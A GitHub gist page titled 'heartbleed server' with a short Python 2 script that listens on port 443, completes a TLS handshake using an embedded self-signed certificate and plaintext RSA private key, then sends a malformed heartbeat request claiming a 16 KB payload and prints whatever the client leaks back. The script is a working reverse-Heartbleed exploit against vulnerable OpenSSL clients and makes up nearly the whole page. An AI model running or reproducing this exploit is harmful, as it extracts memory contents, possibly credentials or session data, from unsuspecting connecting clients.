Skip to content

Instantly share code, notes, and snippets.

@kusano
Last active August 29, 2015 13:59
Show Gist options
  • Save kusano/10486874 to your computer and use it in GitHub Desktop.
Save kusano/10486874 to your computer and use it in GitHub Desktop.
heartbleed server
import sys, socket, threading, time, ssl, struct
def recv(s, l):
r = ''
while len(r)<l:
d = s.recv(l-len(r))
if d=='':
raise
r += d
return r
def proc(s):
try:
ssl.wrap_socket(s, certfile=sys.argv[0], server_side=True)
s.send('\x18\x03\x02\x00\x03\x01\x40\x00')
while True:
t,v,l = struct.unpack('>BHH', recv(s,5))
d = recv(s,l)
print t, v, l
if t==21:
break
if t==24:
print 'heartbeat!'
print repr(d)
except:
pass
finally:
s.shutdown(socket.SHUT_RDWR)
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 443))
s.listen(5)
while True:
cs,_ = s.accept()
ct = threading.Thread(target=proc, args=(cs,))
ct.start()
'''
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDSAndOo4V86uWRj4xh/u5dcWkI6pBHzcAebGmJyuRP2bthLUU3
8ZmkIhXzLVvcnGU/ohjpeEJelMpyRoNXm7uIXi8BepDdm9kdQp6ogTZBsjgdp7be
+nXCWG3+now1lX4RZeoDKFPdBbSGXXnsxTGS8501coXObi/xJH2OHMpw7wIDAQAB
AoGAUGwDVkkGkHy/pwtqvghLLduFVpXE5Mpk/QGVNOBOqEmAGUmlzTOnG5S2BSbk
m8oEd+bSVW3pNKEUGcjo+T65BGClD6GKM6COUGFDfxsTQDNgQx0xo1SKGmveAGza
oXx1atEIZzVw8kUuzpExKSe7nnGX9B6rRCQiWVkdLBpRpeECQQD7uXdosfgKapLp
6hPJ4I0BH6xC4vOXyftfCXPLgkNjOTguemeVFekKsvU7E5sX2Y2CtdUtddnd1kIs
6hIGze1/AkEA1ZOeGOki4qNRbBkAFHihFyLCwgqzWkrC7MfcXjZ84/3sEpHENxma
CCdXdhD6kQzXo5NROl5L5++0096MIucUkQJAcxoQVsgiAilPOjR1jfbmot/ntcHu
3rZWAdPhpenPhHxyixYfbRVStTi1V6kUXuh0g5M/ggUEdSJ2qfDyAziAYwJBAIhq
lVzL7KBeOK+W+FobAqnIZiWSuCRABGlA7xyuKO9nTNY/jNi03ZG/rzmWdrUXQtUU
T5m8iTdIAHQjfdb9SkECQCVvD07oDaPspCYg5KmXaE8VoZdPKx7CZFFnCjOQuRts
4Va/QWm4HO/sIrMm3T+HHhAtJBYD6N3/245c+ZDheAY=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIICATCCAWoCCQCmWQXbELU7GzANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTE0MDQxMTE2NTUxOVoXDTMwMDIyMTA3Mjk1OVowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0gJ3
TqOFfOrlkY+MYf7uXXFpCOqQR83AHmxpicrkT9m7YS1FN/GZpCIV8y1b3JxlP6IY
6XhCXpTKckaDV5u7iF4vAXqQ3ZvZHUKeqIE2QbI4Hae23vp1wlht/p6MNZV+EWXq
AyhT3QW0hl157MUxkvOdNXKFzm4v8SR9jhzKcO8CAwEAATANBgkqhkiG9w0BAQUF
AAOBgQDOxsp10UQ6U/LNRb6jb9t0xfsmxdfBqnYVUXM5am7IEr/uldpUFYncDNXy
mQEsxW+WXlYNuHKOYwWOd06skbz9DoKLieaouLeSJGZSV03/2zGWg95NXfino4w1
Hy2mwAd7rHrkfBg5+Qt223S11PvNSDYjL/kBduJKMsE9vVbq8A==
-----END CERTIFICATE-----
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment